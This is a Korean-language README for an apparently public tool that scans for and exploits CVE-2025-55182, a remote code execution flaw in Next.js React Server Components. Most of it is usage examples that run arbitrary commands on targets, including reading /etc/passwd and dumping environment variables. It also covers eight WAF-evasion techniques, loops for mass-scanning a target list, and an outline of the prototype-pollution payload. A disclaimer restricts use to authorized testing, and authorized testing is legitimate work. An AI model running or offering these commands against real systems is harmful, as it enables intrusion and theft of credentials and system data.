ysfcndgr/react2shell-cve-2025-55182-advanced-scannerNext.js의 CVE-2025-55182 RCE를 위한 자동 스캐너로, 8가지 WAF 우회 기술, 사용자 정의 명령 실행 및 승인된 침투 테스트를 위한 테스트 전용 탐지 모드를 제공합니다.
CVE-2025-55182 고급 스캐너
Next.js 애플리케이션에서 CVE-2025-55182 취약점을 탐지하고 악용하기 위한 고급 침투 테스트 도구
📋 목차 개요
🔍 개요 CVE-2025-55182는 React Server Components를 통해 Next.js 애플리케이션에 영향을 미치는 치명적인 원격 코드 실행(RCE) 취약점입니다. 이 스캐너는 다양한 WAF 우회 기술과 함께 이 취약점을 탐지하고 악용하는 자동화된 방법을 제공합니다.
CVSS 점수: 9.8 (치명적)
✨ 기능 다중 페이로드 변형: 다양한 악용 패턴
WAF 우회 기술: 8가지 우회 방법
사용자 지정 명령 실행: 임의 시스템 명령 실행
취약점 테스트: 안전한 탐지를 위한 테스트 전용 모드
프록시 지원: 디버깅을 위해 프록시를 통한 트래픽 라우팅
SSL 우회: SSL 인증서 검증 건너뛰기 옵션
재시도 메커니즘: 실패 시 자동 재시도
화려한 출력: 읽기 쉬운 콘솔 인터페이스
🚀 설치 전제 조건 Python 3.6 이상
pip 패키지 관리자
pip install -r requirements.txt
chmod +x scanner.py Docker 설치 bash
docker build -t cve-2025-55182-scanner .
docker run --rm cve-2025-55182-scanner -h 📖 사용법 기본 사용법 bash
python scanner.py -h
python scanner.py -d http://target.com --test-only
python scanner.py -d http://target.com -c "whoami" 명령줄 옵션 옵션 설명 기본값 -d, --domain 대상 URL http://localhost:3000 -c, --command 실행할 명령 id -t, --technique 우회 기술 (1-8) 1 -p, --proxy 프록시 서버 없음 -k, --insecure SSL 검증 건너뛰기 False --test-only 취약점만 테스트 False -h, --help 도움말 표시 해당 없음 📚 예제 기본 악용 bash
python scanner.py -d http://vulnapp.com --test-only
python scanner.py -d http://vulnapp.com -c "id"
python scanner.py -d https://target.com -c "ls -la" -k
python scanner.py -d http://localhost:3000 -c "cat /etc/passwd" WAF 우회 예제 bash
python scanner.py -d http://target.com -c "uname -a" -t 2
python scanner.py -d https://target.com -c "whoami" -t 3 -k
python scanner.py -d http://target.com -c "pwd" -t 4 -p http://127.0.0.1:8080
for i in {1..8}; do echo "Trying technique $i" python scanner.py -d http://target.com -c "hostname" -t $i echo "" done 고급 사용법 bash
for target in $(cat targets.txt); do echo "Testing $target" python scanner.py -d $target --test-only done
python scanner.py -d http://target.com -c "ifconfig" > output.txt
python scanner.py -d https://target.com -c "env" -p http://127.0.0.1:8080 -k 🛡️ 우회 기술 이 스캐너는 8가지 WAF 우회 기술을 포함합니다:
기본 페이로드: 원래 악용 패턴
Base64 인코딩: 명령을 Base64로 인코딩
유니코드 인코딩: 유니코드 문자 인코딩 사용
대소문자 변형: 무작위 대소문자 변형
이중 인코딩: URL 이중 인코딩
널 바이트: 널 바이트 주입
혼합 헤더: 다양한 HTTP 헤더
무작위 지연: 무작위 수면 간격 추가
각 기술은 -t 플래그로 선택할 수 있습니다.
🔧 기술적 세부사항 취약점 배경 CVE-2025-55182는 Next.js에서 React Server Components를 통해 원격 코드 실행으로 이어지는 프로토타입 오염 취약점입니다. 이 취약점을 통해 공격자는 서버에서 임의의 명령을 실행할 수 있습니다.
페이로드 구조 이 도구는 프로토타입 오염을 통해 RCE를 달성하기 위해 특별히 제작된 multipart/form-data 요청을 사용합니다:
프로토타입 오염: Promise 프로토타입 체인을 오염시킴
명령 주입: Node.js child_process 실행을 주입
결과 추출: 리디렉션 헤더를 통해 결과 추출
탐지 방법 스캐너는 특별히 제작된 요청을 보내고 다음을 찾습니다:
명령 출력을 포함하는 X-Action-Redirect 헤더
성공적인 악용을 나타내는 특정 응답 패턴
취약점 존재를 암시하는 오류 메시지
⚠️ 면책 조항 중요: 법적 및 윤리적 용도로만 사용하십시오
이 도구는 다음을 위해 제공됩니다:
보안 연구 및 교육
승인된 침투 테스트
적절한 권한이 있는 취약점 평가
방어적 보안 목적
다음 목적으로 이 도구를 사용하지 마십시오:
시스템 무단 테스트
불법 활동
악의적인 목적
서비스 약관 위반
이 도구를 사용함으로써 귀하는 다음에 동의합니다:
소유하거나 테스트할 명시적 권한이 있는 시스템에서만 사용
모든 관련 법률 및 규정 준수
귀하의 행동에 대한 전적인 책임 수용
오용에 대해 저자를 책임지지 않음
🤝 기여 기여를 환영합니다! 도움을 주는 방법은 다음과 같습니다:
이슈 보고 이슈가 이미 존재하는지 확인
상세한 재현 단계 제공
오류 메시지 및 로그 포함
환경 세부 정보 명시
코드 기여 저장소 포크
기능 브랜치 생성
명확한 커밋 메시지 작성
해당되는 경우 테스트 추가
풀 리퀘스트 제출
기능 요청 GitHub 이슈를 통해 "enhancement" 레이블을 사용하여 새 기능을 제안하세요.
📄 라이선스 이 프로젝트는 MIT 라이선스에 따라 라이선스가 부여됩니다 - 자세한 내용은 LICENSE 파일을 참조하세요.
MIT 라이선스
Copyright (c) 2025
이에 따라 본 소프트웨어 및 관련 문서 파일(이하 "소프트웨어")의 사본을 얻은 모든 사람에게 제한 없이 소프트웨어를 다룰 수 있는 권한이 무료로 부여됩니다. 여기에는 소프트웨어의 사용, 복사, 수정, 병합, 게시, 배포, 서브라이선스 및/또는 판매할 권리와 소프트웨어를 제공받은 사람이 그렇게 할 수 있도록 허용할 권리가 포함되며, 다음 조건을 따릅니다:
위의 저작권 고지와 이 허가 고지는 소프트웨어의 모든 사본 또는 중요한 부분에 포함되어야 합니다.
소프트웨어는 "있는 그대로" 제공되며, 상품성, 특정 목적에의 적합성 및 비침해에 대한 보증을 포함하되 이에 국한되지 않는 어떠한 종류의 명시적이거나 묵시적인 보증도 없이 제공됩니다. 어떠한 경우에도 저작자 또는 저작권 소유자는 계약, 불법 행위 또는 기타 행위로 인해 발생하는 모든 청구, 손해 또는 기타 책임에 대해 책임을 지지 않으며, 이는 소프트웨어 또는 소프트웨어의 사용 또는 기타 거래로 인해 발생하거나 이와 관련하여 발생하는 모든 책임을 포함합니다.
🔗 참조 CVE-2025-55182 공식 항목
ProjectDiscovery Nuclei 템플릿
Next.js 보안 권고
React Server Components 문서
⭐ 별표 기록 이 도구가 유용하다면 GitHub에서 별표를 눌러 주세요!
기억하세요: 큰 힘에는 큰 책임이 따릅니다. 이 도구를 윤리적이고 합법적으로 사용하십시오.
